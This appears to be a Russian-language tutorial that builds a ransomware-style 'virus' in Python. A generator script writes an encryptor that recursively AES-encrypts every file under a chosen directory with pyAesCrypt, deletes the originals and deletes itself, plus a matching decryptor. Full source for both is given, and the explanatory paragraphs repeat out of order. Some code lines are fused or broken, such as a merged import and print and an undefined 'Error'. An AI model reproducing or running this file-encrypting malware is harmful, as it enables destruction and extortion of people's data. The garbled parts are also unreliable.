Этот вирус мы напишем при помощи только одной сторонней библиотеки — pyAesCrypt. Идея — шифруем все файлы в указанной директории и всех директориях ниже. Это важное ограничение, которое позволяет не сломать операционку. Для работы создадим два файла — шифратор и дешифратор. После работы исполняемые файлы будут самоудаляться.
Сначала запрашиваем путь к атакуемому каталогу и пароль для шифрования и дешифровки:
Дальше мы будем генерировать скрипты для шифрования и дешифровки. Выглядит это примерно так:
Переходим к файлам, которые мы будем использовать в качестве шаблонов. Начнем с шифратора. Нам потребуются две стандартные библиотеки:
Пишем функцию шифрования (все по мануалу pyAesCrypt):
Вместо str(password) скрипт-генератор вставит пароль.
Важные нюансы. Шифровать и дешифровать мы будем при помощи буфера, таким образом мы избавимся от ограничения на размер файла (по крайней мере, значительно уменьшим это ограничение). Вызов os.remove(file) нужен для удаления исходного файла, так как мы копируем файл и шифруем копию. Можно настроить копирование файла вместо удаления.
Теперь функция, которая обходит папки. Тут тоже ничего сложного.
В конце добавим еще две строки. Одна для запуска обхода, вторая — для самоуничтожения программы.
Здесь снова будет подставляться нужный путь.
Вот весь исходник целиком.
Теперь «зеркальный» файл. Если в шифровальщике мы писали encrypt, то в дешифраторе пишем decrypt. Повторять разбор тех же строк нет смысла, поэтому сразу финальный вариант.
Итого 29 строк, из которых на дешифровку ушло три. На случай, если какой-то из файлов вдруг окажется поврежденным и возникнет ошибка, пользуемся отловом исключений (try...except). То есть, если не получиться расшифровать файл, мы его просто пропускаем.
Сначала запрашиваем путь к атакуемому каталогу и пароль для шифрования и дешифровки:
Python:
direct = input("Напиши атакуемую директорию: ")
password = input("Введи пароль: ")
Python:
with open("Crypt.py", "w") as crypt:
crypt.write('''
текст программы
''')
Python:
import os
import sys
Код:
def crypt(file):
import pyAesCrypt
print('-' * 80) # Задаем пароль и размер буфера
password = "'''+str(password)+'''"
buffer_size = 512*1024 # Вызываем функцию шифрования
pyAesCrypt.encryptFile(str(file), str(file) + ".crp", password, buffer_size)
print("[Encrypt] '"+str(file)+".crp'")
# Удаляем исходный файл
os.remove(file)
Важные нюансы. Шифровать и дешифровать мы будем при помощи буфера, таким образом мы избавимся от ограничения на размер файла (по крайней мере, значительно уменьшим это ограничение). Вызов os.remove(file) нужен для удаления исходного файла, так как мы копируем файл и шифруем копию. Можно настроить копирование файла вместо удаления.
Теперь функция, которая обходит папки. Тут тоже ничего сложного.
Python:
def walk(dir):
# Перебор всех подпапок в указанной папке
for name in os.listdir(dir):
path = os.path.join(dir, name)
# Если это файл, шифруем его
if os.path.isfile(path):
crypt(path) # Если это папка, рекурсивно повторяем
else:
walk(path)
Python:
walk("'''+str(direct)+'''")
os.remove(str(sys.argv[0]))
Вот весь исходник целиком.
Python:
import os
import sys
def crypt(file):
import pyAesCrypt
print('-' * 80)
password = "'"+str(password)+"'"
buffer_size = 512*1024
pyAesCrypt.encryptFile(str(file), str(file) + ".crp", password, buffer_size)
print("[Encrypt] '"+str(file)+".crp'")
os.remove(file)
def walk(dir):
for name in os.listdir(dir):
path = os.path.join(dir, name)
if os.path.isfile(path):
crypt(path)
else:
walk(path)
walk("'''+str(direct)+'''")
print('-' * 80)
os.remove(str(sys.argv[0]))
Python:
import os
import sys
# Функция расшифровки
def decrypt(file):
import pyAesCrypt print('-' * 80)
password = "'''+str(password)+'''"
buffer_size = 512 * 1024
pyAesCrypt.decryptFile(str(file), str(os.path.splitext(file)[0]), password, buffer_size)
print("[Decrypt] '" + str(os.path.splitext(file)[0]) + "'")
os.remove(file)
# Обход каталогов
def walk(dir):
for name in os.listdir(dir):
path = os.path.join(dir, name)
if os.path.isfile(path):
try:
decrypt(path)
except Error:
pass
else:
walk(path)
walk("'''+str(direct)+'''")
print('-' * 80)
os.remove(str(sys.argv[0]))